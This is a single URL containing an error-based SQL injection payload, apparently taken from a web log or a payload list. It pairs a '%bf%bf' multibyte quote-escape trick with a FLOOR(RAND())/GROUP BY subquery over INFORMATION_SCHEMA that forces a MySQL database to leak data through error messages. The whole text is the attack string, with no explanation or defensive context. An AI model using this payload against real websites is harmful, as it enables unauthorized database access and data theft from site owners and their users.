http://www.ip/page1-%bf%bf"-page1/' AND (SELECT 7988 FROM(SELECT COUNT(*),CONCAT(0x717a766a71,(SELECT(ELT(7988=7988,1))),0x71766b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'WpDn'='WpDn